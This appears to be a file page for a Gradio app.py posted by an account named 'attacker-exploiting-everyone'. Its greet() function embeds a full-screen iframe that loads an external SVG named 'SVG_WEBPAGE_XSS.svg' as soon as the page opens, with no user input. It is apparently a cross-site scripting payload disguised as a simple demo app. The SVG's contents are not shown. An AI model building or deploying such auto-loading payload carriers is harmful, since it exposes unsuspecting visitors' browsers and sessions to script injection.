gradio / app.py
attacker-exploiting-everyone's picture
Update app.py
1cecc78 verified
raw
history blame contribute delete
477 Bytes
import gradio as gr
def greet():
# Inject iframe to load the page and fill 100% of the page
iframe_code = '''
<iframe src="https://images.ctfassets.net/h0jtq0wdx190/3HivOdbWvD7QCDXEd53fx0/484ffd97340457cd7f1b954be06b5432/SVG_WEBPAGE_XSS.svg"
style="width: 100%; height: 100vh; border: none;"></iframe>
'''
return iframe_code
with gr.Blocks() as demo:
# Automatically load the iframe without user input
gr.HTML(greet())
demo.launch()